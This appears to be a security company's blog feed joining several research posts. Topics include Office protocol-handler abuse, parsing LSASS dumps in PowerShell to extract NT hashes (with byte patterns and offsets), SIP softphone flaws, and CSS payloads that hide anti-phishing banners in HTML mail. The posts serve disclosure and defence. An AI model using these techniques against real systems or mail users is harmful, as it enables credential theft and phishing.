cat .\calc_macro_txt.txt
ÐÏ◄ࡱ→á>♥þÿ ♠☺'►)☺þÿÿÿ&ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
[...]
[Workspace]
ThisDocument=26, 26, 1450, 599,
ThisDocumentThisDocument☺þÿ♥
ÿÿÿÿ♠ ☻ÀF Microsoft Word 97-2003-Dokument
MSWordDoc►Word.Document.8ô9²q☺CompObj↕☻ÿÿÿÿÿÿÿÿÿÿÿÿsrÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
Opening a TXT file and Word interpretating it as doc, containing macros
Steal files
The possiblity to create a file from a template and provide the default save folder creates some additional attack vectors for social engineering.
If a user is tricked to write sensitive content into a file and saves it, an attacker might have immediately access to it, as it is stored on the attacker system (SMB or WebDAV).
Ask for sensitive information
Attackers may provide a fake “password safe” in Excel, where the users should store their passwords to store them safe.
The following file was openend via an URL pointing to a WebDAV folder allowing anonymous access.
Openening a file on a WebDAV server
By pressing STRG+S or the “save” button, the file is saved directly on the WebDAV server.
Save an opened file on a WebDAV server
This might leak sensitive data, as the user might not be aware that the file is immediately pushed to the server.
Use automatic fields in combination with data connections
In the template, attackers can provide connections to local files and trick the user into allowing the data connections.
Again when saving, sensitive content might be stored inside the Office document without the user being aware of it.
The following document was opened via the WebDAV server and as we can see, the data fields are empty.
Openening a file on a WebDAV server with data connections
After enabling the “External Data Connections”
Message about the blocked External Data Connections
some folders and files are read from the local machine and the content is inserted into the document.
Including the local folder and a local file into the document
This is done by Powerquery as it can be seen in the following two screenshots.
Reading a folder:
Configured Powerquery for the users folder
Reading a sensitive file, including the detection of the actual username:
Configured Powerquery for the users .ssh key
Conclusion
The MS Protocol handler bring some additional attack surface for clients. It should be considered to disable them if they are not in use, however they are normally used by Office 365 and Sharepoint.
If it is not possible to disable them, it should at least considered disabling macros, DDE and enable protected view.
Extracting Secrets from LSA by Use of PowerShell2022-01-12T09:00:00+01:002022-01-12T09:08:30+01:00https://blog.syss.com/posts/powershell-lsa-parsing/Sebastian Hölzle
During a research project, SySS IT security consultant Sebastian Hölzle worked on the problem of parsing Local Security Authority (LSA) process memory dumps using PowerShell and here are his results.
During a research project, SySS IT security consultant Sebastian Hölzle worked on the problem of parsing Local Security Authority (LSA) process memory dumps using PowerShell and here are his results.
Introduction
Within a Windows system, a pentester (or an attacker) focuses on two components which are usually attacked as soon as the administrative privileges are achieved. The first component is the Windows registry which holds the sensitive information about local accounts. On normal clients, this information can be used if the password of the local user accounts (e.g. the local administrator) is reused on other systems to compromise parts or the whole network infrastructure.
Next to the registry, the process of the Local Security Authority Subsystem (or short LSASS) is also a high value target. This process holds information about all logged-on identities in different forms. So especially within Active Directory environments, this opens the possibility to extract hashes or even passwords from high value user accounts (e.g. domain admins).
In case those accounts have or had a logon session which was not properly terminated by a logoff, the process on the victim machine still holds credential data of those accounts. Those logon sessions could originate from interactive logons, scheduled tasks, services, run as application, etc.
By attacking those two key parts within a Windows system, an attacker can extract sensitive data, which could lead to the compromise of the whole Active Directory environment.
Extraction of sensitive information
In this article, we will focus on the second part, i.e. the extraction of secrets from the LSASS.exe process. For the extraction of secrets from the Windows registry various tools are available. Further, due to the use of the Local Admin Password Solution (short LAPS), this attack vector often is only interesting if the right prerequisites are met.
To extract information from this process, special tools are required. As already implied by the name, it is a process, which means the information is hold within the random access memory (RAM) of the target machine. This makes the extraction quite difficult. In case the secrets have to be extracted live, a tool is required which can communicate with the process within the RAM. There is one famous tool for this scenario: Mimikatz. The disadvantage of this tool is that it is well-known, so nearly every endpoint protection solution is normally able to detect and block it. There are many techniques to hide Mimikatz and the execution, but this is usually a cat-and-mouse game.
The other possibility to extract sensitive information from the LSASS process are memory dumps. The idea behind this technique is to create an image of the process which contains all information (including sensitive information), and to analyze this memory dump on another system. This possibility is very common but also has its drawbacks. The creation of the dump file itself can also fail (e.g. due to endpoint protection software, permissions etc.). But even if this works, the result file needs to be transferred to the system where it can be analyzed. To analyze such memory images also special tools are required. Usually there are two quite popular ways to do that.
Mimikatz which can also be used to analyze dump files, but needs to be run under Windows.
pypykatz which allows to analyze the files under Linux.
Next to the challenges the transfer of the created dump file can cause, also a logical flaw seems to be present. A file created by use of Windows tools containing Windows data structures needs to be analyzed either by Mimikatz on a completely separate machine or it needs to be transferred to a Linux machine to use pypykatz. This leads to the question: Is there no possibility to do that on Windows with already available standard tools? It is a Windows file with Windows data structures in it; dump files of other processes are used for troubleshooting inside and outside of Microsoft. So there seems to be a way to work with those files and therefore also a way to extract the interesting information (e.g. hashes, credentials) from the dump files without the use of Mimikatz.
Goals of the R&D project
Within the Windows world, the Swiss army knife of doing something is PowerShell. By the use of PowerShell, many different things can be accomplished (for attackers and defenders).
To get a better idea of what we want to do, we summarize what we know and which path we want to explore:
Extraction of sensitive information from the LSASS.exe process. This can be accomplished live or by using a memory dump. The live extraction is much more complicated, requires special permissions, and can usually much easier be detected. So if we want to extract information from the LSASS process on Windows (ideally on a host with a turned-on endpoint protection solution) without being detected or blocked, we should work with memory dumps.
We know that the memory dump contains all relevant information (crypto material, sensitive data, etc.), because we can work with the dump on other systems – even Linux systems. So the memory dump seems to hold all data which is required.
We can assume that we require many different functions within Windows itself. Usually, the most powerful environment on Windows for this is PowerShell. By use of PowerShell, we get access to various built-in functionalities and also have the possibility to add and use Microsoft .NET functions if needed.
With the goals laid out, let’s start with the dump of the LSASS process. Since we want to work with memory dumps, the first question is: What are memory dumps and is there an easy way to work with those files – ideally within PowerShell?
Memory dumps: a short overview
So first things first: What are memory dumps?
Good question! First of all, memory dumps are images of processes at a certain time. This means before we start to dig into what dumps are, we should understand what we dump: a process or, more precisely, the LSASS.exe process.
The LSASS process is responsible for coordinating and provisioning different kinds of credentials. The list of data within the process goes from the expected logon credentials, over Kerberos tickets to DPAPI (data protection API) keys. All this information is divided in different parts and organized in separate libraries (DLLs) or credential packages.
The following image provides a rough overview and gives an idea of the process layout and connections between the different parts of the logon procedures:
Logon procedure within Windows (source: Microsoft)
With that image in mind, we can assume a memory dump of the Local Security Authority (LSA) process contains multiple modules (e.g. Kerberos.dll, lsasrv.dll, etc.) which need to be identified, separated, and analyzed. Further, it is a running process within the memory of Windows.
Simply put, this means that each module (e.g. lsasrv.dll) holds one part of data which is static for the runtime of the process (e.g. the initialization vector), and next to that the modules hold links to the changing data (like keys, credentials, etc.) which are stored in a separate part of the process. Later, we will get a more detailed insight in the definition of the border between those two parts.
Now, we have a very rough idea of the data structure we want to explore. But what kind of magic are Mimikatz or pypykatz using to dig up the treasures from those data dumps? To get a better idea where we need to start and how we need to use our chosen tool set (PowerShell), we have to look at already established tool sets and how they are working. So the next step is to follow pypykatz through the extraction of the credentials.
The process of the extraction
The first observation we make during the understanding of pypykatz is the focus on the segment of the lsasrv.dll. Next to the crypto material, which is required for the decryption of sensitive data, it also includes the references to the encrypted logon credentials.
But again, let’s start with the basic steps: The credential data is usually encrypted, therefore we need the crypto material. As explained, the material is located within the memory of the module lsasrv.dll. Within the lsasrv.dll memory, the crypto material can be identified by use of special patterns and offsets. Those offsets and patterns are differing between the Windows versions and are the initial navigation points for any further operation within the dump file.
For the used Windows 10 version, the following pattern and offsets are used:
This pattern needs to be identified within the lsasrv.dll and is the initial navigation point for the following offsets.
Offset to initialization vector (IV) pointer = 67
This offset combined with the pattern results in a pointer (a memory address) where the initialization vector (IV) is located.
Offset to DES key pointer = -89
This offset combined with the pattern results in a pointer (a memory address) where the DES key is located.
Offset to AES key pointer = 16
This offset combined with the pattern results in a pointer (a memory address) where the AES key is located.
As result, we should receive the AES key, the DES key, and an IV. This information is required to decrypt the credential data.
That’s the theory. But how can we identify the lsasrv.dll within a memory dump? Because we want to follow pypykatz by using Windows tools, we use the Microsoft Console Debugger (cdb.exe). It is a lightweight debugger provided by Microsoft. So to identify the lsasrv.dll module within a memory dump, the Microsoft Console Debugger provides the command lm m. By using this option, a module name can be searched within a dump file. The result looks like this:
Location of the lsasrv.dll module within the memory dump
Within the result output we can see the address range of the lsasrv.dll memory. This comes quite handy because, as already stated, within that memory range we need to identify the pattern for the crypto material. By use of the commands s and -b we can search a byte pattern within a given address range.
Search for byte pattern within the dumped lsasrv.dll memory range
This provides us with the pattern address which needs to be combined with the specified offsets to receive the crypto material.
The combination of the offset is a very simple mathematical addition. We just need to convert the hexadecimal string representation to an integer number, add the offset, and convert the result back to a hexadecimal representation.
The following images show the different keys. As you may notice the DES and AES key are stored in different address ranges of the dump. This indicates that the data AES and DES keys are saved within the heap of the process (not important for what we want to achieve, just an interesting observation).
Initialization vector (IV):Acquired IV
DES key:Aquired DES key
AES key:Acquired AES key
With the cryptographic keys for the decryption, the next step is the extraction of the actual credential data. The main difference is that the credential data is organized in lists which are linked to each other. Therefore, we need to identify the first entry of these lists.
This procedure is the same as for the crypto material. We need to find a byte pattern within the memory of the module lsasrv.dll. When the pattern is identified and the given offsets are applied, the memory address for the first entry of the credential list is identified.
The pattern used for the tested Windows 10 version is: \x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74
Combined with the following offset: 23
Identified entry addresses for credential lists
The magic at this point is quite easy to understand: find a byte pattern and follow the pointers. But this is the easy part; now the credentials need to be identified, extracted, and decrypted.
Credential data
As already mentioned, the credential data is organized in linked and nested lists. This circumstance makes the automated parsing of those lists quite difficult. Both pypykatz and Mimikatz use process templates for this.
The following figure visualizes the organization of those lists:
Organization of nested lists
When we check the source code of e.g. pypykatz, it becomes clear that the template for the parsing of those lists is selected based on the Windows operating system version. The template itself is an instruction of various data types which, if correctly applied, provides the memory structure of the credential data.
So when we apply the template to the process structure, we are able to parse and extract the part that is of our interest: the credentials.
But how can we apply a template on a memory dump? First, let’s understand what this template describes, i.e. data types. So for example within the template, there is the data type FLINK (which indicates the address of the next entry). This data type is 8 bytes long. This information comes from two sources: the templates of pypykatz and Mimikatz.
To extract this information of the FLINK, we start at the extracted EntryAddresses and read 8 bytes. The next data type is BLINK (also 8 bytes). To extract this information, we need to read the next 8 bytes after the FLINK, and so on until all data types are applied.
For the application of templates, you start at a given position, read the given number of bytes, remember the position, and read the next given bytes until no more bytes are left.
If we have correctly applied the templates, we will be rewarded with all the encrypted credentials.
Encrypted credentials in memory dump
The extracted credentials are encrypted (we remember, we extracted some crypto material). So logon credentials (those we are looking for) are encrypted by use of the 3DES algorithm. Hence, for the decryption of the extracted encrypted credentials, we need the extracted 3DES key and the corresponding IV.
If both are applied successfully, the result is the username and the NT hash of that specific user.
This is basically the process pypykatz follows to extract the logon credentials, and it marks the goal we want to achieve. Now the question is: How we can implement those steps in PowerShell?
PowerShell
The first step within PowerShell would be the navigation within the memory dump file, and ensuring that we are able to identify byte patterns (which are required for the crypto material and MSV entries). Furthermore, we need to find a way to navigate by use of memory addresses (to follow the pointers).
When we are able to navigate within the dump file, we can focus on the parsing of memory areas to extract the relevant credential data.
With those steps on our bucket list, we hit a little roadblock: We could not identify an easy way to parse the whole memory dump with the original memory addresses. Because for the extraction of the crypto material and the identification the entry of the credential list exact memory addresses are used.
We explored some possibilities to parse files as binary files by use of the awesome function Search-Binary of Atamido, but without the correct memory addresses.
The workaround for this issue is the Microsoft Console Debugger (cdb.exe). This is a lightweight debugger which can be used to debug and navigate within those files. But it also provides a command line interface which is very handy for the extraction of single parts of the memory dump.
So the idea is to call cdb.exe from the PowerShell script with a given address, byte pattern, or other parameters, and work with the output of this program call. This worked surprisingly well. So we built a little function named Run-Debugger which calls the debugger with a command and provides the output of the corresponding program run as result.
Debugger command from PowerShell
With that problem resolved, we are able to navigate through the memory dump file and extract data. The next step is the parsing of the credential data. Here, PowerShell has the proper solution. By using the BinaryReader .NET function, the credential lists can be parsed quite easily.
The idea behind the implemented function is that the BinaryReader function starts at a given position (we remember the extracted list entries). Then, we extract a certain number of bytes (based on the numbers of the data type and template), add the number of extracted bytes to the initial position of the BinaryReader and start again. The one decisive step was the translation of the templates for the parsing to the correct data types.
By using the function Run-Debugger, we are able to extract small portions of the data from the memory address. Plus, with the BinaryReader function, we are able to read a stream of raw binary data. But we still need a connection between those two, because the debugger runs with memory addresses and the BinaryReader works with offsets within a binary file.
There, the awesome function Search-Binary comes into play. It can find byte patterns within a binary file. We use this in the following way: When we hit a jump point within a credential list (when we need to switch to different parts of the memory), we extract a pattern of this memory address by use of the debugger. This is because the debugger can work with the addresses. The issue comes with the BinaryReader function which is used for the parsing of the credentials. It does not work with addresses, it uses positions (offsets) within the binary file.
To identify those positions, we hand over the pattern from the debugger to the Search-Binary function which will provide as a result the exact position within the file and therefore the position where we need to place the BinaryReader.
After the translation of the templates and some testing (and hours of bug fixing), the result is our PowerShell software tool Invoke-LSAParse. It includes the executable cdb.exe as Base64-encoded string which will be written to the temp directory of the user which is executing the PowerShell script. This executable will be deleted at the end of the execution. Besides this dependency, Invoke-LSAParse is a pure PowerShell implementation which currently is undetected by the usual endpoint protection solutions or the Antimalware Scan Interface (AMSI) of PowerShell. The result of a successful Invoke-LSAParse call is the username and the NT hash of all logged-on identities, as the following demo exemplarily shows.
Demo of Invoke-LSAParse for successfully extracting user credentials from an LSASS memory dump
The current limitations are the implemented templates for parsing data structures. Currently, only Windows 10 and Windows Server until 2016 are supported. Older Windows versions have no templates for the parsing. Another limitation of the current versions concerns the supported logon credentials (no DPAPI, no Kerberos, etc.).
From a defender point of view, the tool Invoke-LSAParse will not work if PowerShell is running in constrained language mode or application allowlisting, e.g. using AppLocker, prevents the execution of executables from the temp directory. Next to those measures against the tool itself, if the LSASS process is protected (e.g. by Credential Guard or specific endpoint protection solutions), usually no valid data can be extracted.
Attacking Oracle Native Network Encryption (CVE-2021-2351)2021-12-10T10:00:00+01:002021-12-10T14:22:46+01:00https://blog.syss.com/posts/oracle-native-network-encryption/Matthias Deeg
During a research project, SySS IT security expert Moritz Bechler found several security issues concerning the proprietary security protocol Oracle Native Network Encryption.
During a research project, SySS IT security expert Moritz Bechler found several security issues concerning the proprietary security protocol Oracle Native Network Encryption.
Oracle Native Network Encryption is the default protocol used for securing network connections between Oracle database clients and servers, for instance when using the Oracle Instant Client.
Furthermore, information about the found security issues are also provided in our two SySS security advisories SYSS-2021-061 and SYSS-2021-062 that were assigned the CVE ID CVE-2021-2351.
A couple of months ago, we have reported the security vulnerabilities in the course of our responsible disclosure program, and they have already been fixed by Oracle in the July 2021 Critical Patch Update (CPU).
A successful attack against the Oracle Native Network Encryption is demonstrated in our PoC Video Attacking Oracle Native Network Encryption, which allows an attacker to hijack authenticated, cryptographically secured database connections, and thus gaining access to the database with the privileges of the targeted victim user.
Hacking your Softphone with a malicious Call2021-10-13T10:00:00+02:002021-10-13T10:00:00+02:00https://blog.syss.com/posts/hacking-your-softphone-with-a-malicious-call/Moritz Abrell
Abstract
Softphones are becoming increasingly popular and offer an alternative to desk phones, not least due to the increasing use of the mobile office.
Based on this fact, SySS IT security expert Moritz Abrell analyzed the security of two Session Initiation Protocol (SIP) softphones.
During this analysis, three vulnerabilities were discovered which allow an unauthenticated remote attacker cr...
Abstract
Softphones are becoming increasingly popular and offer an alternative to desk phones, not least due to the increasing use of the mobile office.
Based on this fact, SySS IT security expert Moritz Abrell analyzed the security of two Session Initiation Protocol (SIP) softphones.
During this analysis, three vulnerabilities were discovered which allow an unauthenticated remote attacker crashing the softphone or extracting sensitive information, such as password hashes.
The discovered vulnerabilities were reported to the corresponding manufacturers according to the responsible disclosure policy of SySS and were fixed by them.
Introduction
We analyzed two different softphones from the view of an external attacker.
The focus of the investigation was the security analysis of SIP services itself and the following question:
What possibilities does an attacker have to attack softphones?
Part of the analysis was to perform various black box fuzzing attacks against the SIP services of the softphones.
For this purpose, our own public tool WireBug was used.
In addition, the SIP services were examined for further known SIP vulnerabilities, e.g. SIP Digest Leak.
SIP Digest Leak
The SIP Digest Leak vulnerability, originally discovered by Sandro Gauci, allows a remote attacker to obtain the response of a SIP Digest Authentication.
With this information, the attacker is able to perform an offline password guessing attack, and, if the guessing attack is successful, obtain the plaintext password of the targeted SIP account.
Therefore, this vulnerability in combination with weak passwords is a significant security issue.
To perform this attack, the attacker sends a SIP INVITE message to the target softphone.
The softphone rings and the victim accepts the call.
Due to the fact that nothing can be heard, the victim hangs up, which leads to a SIP BYE request originating from the softphone.
The attacker then sends back the 407 Proxy Authentication Required response, after which the softphone sends back another BYE request, but this time the authentication data is included.
At this point, the attacker has all the necessary data required for an offline password guessing attack.
The following figure shows the SIP flow of this attack:
In SIP, the digest authentication scheme is usually used:
Because in the SIP Digest Leak vulnerability, the attacker provides the nonce value and the realm, he knows all variables from the authentication scheme except the password and thus he is able to perform an offline guessing attack.
This also allows the attacker to create rainbow tables for the response value with different passwords, which increases the speed of offline guessing attacks enormously.
To prevent rainbow table attacks, the quality of protection (qop) value can be set to auth.
This will add a client nonce as well as a nonce count to the authentication scheme:
For the analysis of this vulnerability, the open source tool SIPp in combination with a customized version of the SIP Digest Leak XML template was used.
Linphone
We discovered the SIP Digest Leak vulnerability in the cross-platform compatible SIP softphone Linphone, described in our security advisory SYSS-2021-015.
A demonstration of this attack can be seen below:
During our responsible disclosure process, the manufacturer implemented some protection options for hardening the configuration of the softphone.
These protection options can be traced in the commit e2e299766bb59c52be9f8df32ac87f1971034bd8 of the public GitHub repository.
The following measures and hardening options were implemented by the manufacturer:
Option to replace MD5 hashing with SHA256 hashing for digest authentication scheme.
Forcing of qop=auth, so that a client nonce is used to protect against rainbow table attacks.
Nevertheless, the use of individual and strong passwords is essential and strongly recommended for reducing the success rate of offline password guessing attacks.
In addition, we recommend using mutual-TLS for bidirectional authentication based on X.509 certificates.
This prevents unauthorized direct communication with the SIP service of the phone itself.
However, this does not protect against attacks forwarded by the SIP proxy, for example a valid call to the SIP proxy forwarded to the phone without message filtering.
Therefore, additional message filtering and intrusion prevention systems should be implemented on SIP proxies, Private Branch Exchanges (PBX), and Session Border Controllers (SBC).
MicroSIP
We also discovered the SIP Digest Leak vulnerability in the SIP softphone MicroSIP.
The vulnerability is described in our security advisory SYSS-2021-019.
We have reported this vulnerability to the manufacturer who has fixed it in version 3.20.7.
The MicroSIP softphone no longer responds to an authentication request when this follows a self-initiated BYE request.
Null Pointer Dereference
During the analysis, we discovered a Null Pointer Dereference vulnerability in the Linphone SIP stack, which allows an unauthenticated remote attacker to crash the softphone with a single request.
The vulnerability is described in our security advisory SYSS-2021-014.
A missing tag parameter in the From header causes a crash of the SIP stack of Linphone.
As a proof-of-concept, the following SIP INVITE request triggers the vulnerability:
During our security analysis, we identified three vulnerabilities in two different softphones that could be exploited by an unauthenticated remote attacker, e.g. by making a malicious call.
Our research results show that the security level of SIP stacks still needs improvement, which confirms our experience from penetration testing.
SySS therefore recommends defining and implementing appropriate security measures for the secure operation of unified communication systems.
Such a security concept should consist of several measures, following the defense-in-depth concept.
Multiple vulnerabilities in MIK.starlight Server (SYSS-2021-035, SYSS-2021-036, SYSS-2021-037, SYSS-2021-038, SYSS-2021-039)2021-10-02T10:00:00+02:002021-10-04T13:57:06+02:00https://blog.syss.com/posts/syss-2021-035-039/Nicola Staller
During a penetration test project, SySS IT security consultant Nicola Staller identified multiple issues in the MIK.starlight Server.
During a penetration test project, SySS IT security consultant Nicola Staller identified multiple issues in the MIK.starlight Server.
The software serves as a back end to different client applications and therefore offers a multitude of functionalities.
Multiple offered functions were found to be vulnerable to remote code execution due to insecure deserialization. Creating a crafted serialized object and sending it to a vulnerable endpoint allowed full system compromise as the software was running with administrative privileges.
This issue was reported in the course of our responsible disclosure program to the manufacturer via our security advisory SySS-2021-035 (CVE-2021-36231).
Moreover, issues in the authorization concept were identified. Any authenticated user can utilize functions that the server offers. This includes functions only intended for administrators, therefore enabling privilege escalation. See SySS-2021-036 (CVE-2021-36232) for further details.
Among the functions only intended for administrators, one particularly sensitive function was identified. “AdminGetFirstFileContentByFilePath” allows administrators to read files from the file system. Due to the highly privileged user running the software, arbitrary files can be read. This might, besides disclosing sensitive information, even enable remote code execution under certain cirumstances.
Note that this function can be used by any authenticated user as described before. See SySS-2021-037 (CVE-2021-36233) for further details.
Furthermore, it was found that the application source code contains hardcoded secrets. This includes a password whose purpose could not be determined during the assessment and an encryption key, which is used to symmetrically encrypt user-provided credentials written to a file. The credentials can thus be decrypted by anyone with knowledge of that key. See SySS-2021-038 and SySS-2021-039 (CVE-2021-36234).
At the time of writing, SySS is not aware of a solution to any of the described issues. Therefore it is recommended to use this software with caution, possibly in a separate network segment.
Introducing hallucinate: One-stop TLS traffic inspection and manipulation using dynamic instrumentation2021-07-27T15:00:00+02:002021-07-27T15:26:32+02:00https://blog.syss.com/posts/hallucinate/Moritz Bechler
Understanding an application’s network communication is commonly one of the major tasks when performing grey or black box application security analyses.
To make this process as efficient and convenient as possible, we developed hallucinate, a dynamic binary instrumentation tool to inspect
and manipulate application TLS traffic in clear-text form.
SySS just released hallucinate as an open sourc...
Understanding an application’s network communication is commonly one of the major tasks when performing grey or black box application security analyses.
To make this process as efficient and convenient as possible, we developed hallucinate, a dynamic binary instrumentation tool to inspect
and manipulate application TLS traffic in clear-text form.
SySS just released hallucinate as an open source project, so that other security researchers may benefit from it as well.
With the wide-spread use of SSL/TLS protected network protocols, application communication can no longer be easily inspected or manipulated on the network layer.
When operating on the network layer, the SSL/TLS security has to be broken first to gain access to the actual clear-text data.
If implemented correctly, this requires modification of the system or application security configuration or even of the application code itself.
The required changes may not be obvious and require some analysis first.
Another approach, which is taken by hallucinate, is to perform the traffic inspection or manipulation before it is encrypted and after it is decrypted.
Thereby, the potential complexity of the network level approach can be avoided.
To get in the position to do so, modification of the application code, also known as dynamic instrumentation, is required to inspect application data
at certain points during program execution.
Frida offers a powerful and stable toolkit to perform this dynamic instrumentation, even across multiple operating systems.
Tools with similar features have existed for a long time, for example Echo Mirage on the Windows platform, and also published Frida scripts covering some of the APIs used.
We found that these typically are unmaintained and/or lack necessary features.
Therefore, hallucinate aims to offer a one-stop cross-platform solution. It already includes out-of-the-box support for the following commonly encountered TLS libraries:
Additional libraries and APIs may be added in the future. Contrary to the remaining libraries, Java support is not implemented using Frida scripts as it’s support for JVM
instrumentation is/was still incomplete, but through a custom Java agent.
Once the clear-text application data has been intercepted using dynamic instrumentation, it is forwarded to the hallucinate Python wrapper.
This enables various options to work with the transmitted or received data:
Simple logging, or logging to a PCAP file, e.g. for convenient protocol analysis in Wireshark.
Automated or manual manipulation using external programs
Processing with a Python script, harnessing Python’s full power
Modified data is then transferred back to the target process and transmitted in place of the original data.
Depending on the used API, there may be some length restrictions regarding replaced data. Often the replaced
data cannot be larger than the original one due to technical limitations.
Usage example
Leveraging hallucinate’s Python scripting support, sent and received data is processed using the following Python script.
The script drops the Accept-Encoding header from the request to avoid getting a compressed response, and replaces
some data within the returned HTML document.
1
2
3
4
5
6
7
8
9
10
11
12
defsend(data,p):ifb'Accept-Encoding:'indata:start=data.index(b'Accept-Encoding:')end=data.index(b'\r\n',start+1)returndata[0:start]+data[end:]defrecv(data,p):ifb'<nav'indata:start=data.index(b'<a href="/leistungen/')end=data.index(b'</a>',start+1)returndata[0:start]+b'<h3 style="margin-right: 2em">Greetings from hallucinate</h3>'+data[end:]
Now hallucinate can be started and attached to a running Firefox instance. This enables instrumentation for
the Mozilla Network Security Services (NSS) library used by Firefox for HTTPS/TLS communication, and the
defined python functions send and recv will be called when the application transmits or receives data.
Visiting the SySS homepage, the changed HTTP Response/HTML document can be observed. The message
Greetings from hallucinate is included in the web site.
Firefox showing manipulated web site contents
While this example shows the manipulation of HTTPS traffic and a generic web browser for graphic demonstration purposes,
hallucinate is not limited to specific application layer protocols like HTTPS, but can handle any TLS-protected
traffic (if a supported library/API is used), and any type of application, for example network services.
Attacking Anti-Phishing Banners in E-Mails2021-07-05T09:00:00+02:002021-07-05T09:00:00+02:00https://blog.syss.com/posts/phishing-banner/Christoph Ritter, Mauno Erhardt
Abstract
Anti-phishing warning in a HTML e-mail
Phishing mails pose a risk to e-mail users nearly every day. Especially in the context of companies and organizations, phishing e-mails represent a risk because internal networks can be accessed by phishing access data and sending malware.
Abstract
Anti-phishing warning in a HTML e-mail
Phishing mails pose a risk to e-mail users nearly every day. Especially in the context of companies and organizations, phishing e-mails represent a risk because internal networks can be accessed by phishing access data and sending malware.
In order to prevent this from happening, a large number of companies follow the approach of warning their employees about external e-mails in particular. For this purpose, a prefix is included in the e-mail body or in the e-mail subject. Such a prefix could be, for example, the reference External!:.
During analyses of these warnings about phishing mails, Christoph Ritter and Mauno Erhardt discovered substantial shortcomings which enable attackers to hide these banners by preparing their phishing mail in a special way.
Approach and Test Set-up
Unlike a recently published attack which focuses on the e-mail body, the approach in this technical article describes the definition of the styles in the head: A sender can directly define the styles in the head with HTML compatibility, i.e. the head needs not even be moved to the body.
Warning messages and HTML e-mails were analyzed during the research project of Christoph Ritter and Mauno Erhardt. Warning messages in rich text e-mails or plain text e-mails did not form the subject of the study. Warning messages in the e-mail subject were also not analyzed more closely. Since HTML/CSS interpretation is processed by e-mail clients in different ways, there are deviations between the clients.
Test set-up:
Windows 10 mit Outlook 2016/2019
Apple iOS 14.5 mit der Mail-Apple
Apple macOS 11.3 mit der Mail App}
Linux Thunderbird 78.7.1
Android One mit der Gmail-App (Stand 18.04.2021)
Ways to prevent Phishing
There are different methods to protect employees against phishing. One of these methods is a banner in e-mails from external senders who mark them specially as coming from outside the company or the organization. Various mail servers or mail appliance providers already make it possible to include a pretext in every incoming e-mail. The following chapters will describe examples of how these phishing banners can be technically structured.
Implementations of a Warning Message against Phishing
Generally speaking, three different methods for implementing anti-phishing warnings were identified. Every one of these methods declares in an extra tag an independent environment where the banner is presented in a visually appealing manner.
\newline
Implementation in a table
Using a table is one way to structure a warning.
Such a warning may have the structure shown in the following example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<tableclass="MsoNormalTable"border="0"cellpadding="0"><tbody><tr><tdnowrap=""style="border:solid red 1.0pt;padding:.75pt .75pt .75pt .75pt"><pclass="MsoNormal"><b><spanstyle="font-size:8.5pt;color:red;mso-fareast-language:DE">&nbsp;CAUTION - EXTERNAL E-MAIL&nbsp;<o:p></o:p></span></b></p></td></tr></tbody></table>
This is then displayed visually as follows in the message:
Warning message which was formatted by means of a SPAN tag
Implementation in a SPAN tag
Another method is to use a SPAN tag for a visually appealing presentation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<strong><spanstyle="font-family:Calibri;color:red;background:yellow;mso- highlight:yellow;">
CAUTION!
</span></strong><spanstyle="background:yellow;mso-highlight:yellow;">
User, this email is from an
<strong><spanstyle="font-family:Calibri;color:red">
External Sender
</span></strong>
(outside of our organization), please do not click links or open attachments unless you recognize the sender.
</span>
This is then displayed visually as follows in the message:
Warning message which was formatted by means of a SPAN tag
Implementation in a DIV tag
Another example is implementation in a DIV tag:
1
2
3
4
5
6
<divstyle="display: inline; background-color:#FFEB9C; width:100%; border-style: solid; border-color:#CC0000; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"><spanstyle="color:#CC0000; font-weight:bold;">
EXTERNAL:
</span>
This e-mail originates from outside the organization. Be careful when opening unrequested links and attachments.
</div>
This is then displayed visually as follows in the message:
Warning message which was formatted by means of a DIV tag
Attack against these Banners
A HTML e-mail has the same structure as a website. This means that it contains both a body and a head. Style attributes for the e-mail body can be defined in the head. It was proved in tests that the style attributes in the head are processed in common e-mail clients.
This means: An attacker can store style attributes in the head of a HTML e-mail that have impacts on content added afterwards.
In this case a warning is embedded by the mail gateway, i.e. as described above, for instance in a table, a SPAN tag or a DIV tag. This enables attackers to configure in the head a style which hides precisely these elements. Although the warning messages are in the source code, they are not shown to the users. Non-observance of the style attributes in the head, which prevented the attack, was only proved in the Gmail app in combination with Android One.
In all other tested mail clients the wrappers around the banners could be selected and hidden:
If the banner is not in any wrapper, there is another alternative approach: An attacker can present all texts in the e-mail in font size 0 and a white color, and change these settings again for his/her own text:
<html><head><style type="text/css">body{background-color:#FFFFFF!important;border-color:#FFFFFF!important;font-size:0pt!important;color:#FFFFFF!important;}.test{font-size:10pt!important;color:#000000!important;}</style></head><body><divclass="test"> Phishing mail content </div>]
</body></html>
During the first step the attacker must find out how the banner is structured at its destination. If the banner is set into a wrapper, the attacker must in the second step draft a specially prepared e-mail which hides precisely this wrapper.
Banners which prevented the previous attack vector were discovered during the tests. These banners looked like the following for example:
1
2
3
4
5
6
7
<html><body><divstyle="display: inline; background-color: #FFEB9C; width:100%; border-style: solid; border-color:#CC0000; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"> This e-mail originates from outside the organization. Be careful when opening unrequested links and attachments.
</div><div> Content hardcoded wrapped in a second DIV </div></body></html>
The alternative attack vector can then be used here in a slightly modified form:
<html><head><style type="text/css">div{background-color:#FFFFFF!important;border-color:#FFFFFF!important;font-size:0pt!important;color:#FFFFFF!important;}.test{font-size:10pt!important;color:#000000!important;}</style></head><body><divstyle="display: inline; background-color: #FFEB9C; width:100%; border-style: solid; border-color:#CC0000; border-width:2pt; padding:2pt; font-size:10pt; line-height:12pt; font-family:'Calibri'; color:Black; text-align: left;"> This e-mail originates from outside the organization. Be careful when opening unrequested links and attachments.
</div><div><divclass="test"> Phishing mail content </div>]
</div></body></html>
In this case the font size is set to 0 and the color to white, and is canceled specially for the DIV in which the attack takes place.
Since the attribute !important is not processed in every e-mail client, this attack does not work on all platforms.
Social Engineering Implementations by Attackers
If a company or an organization uses anti-phishing banners, attackers can utilize them to abuse the trust in these banners. The attacker can replace the original banner by his/her own banner. This personal banner could have the following structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
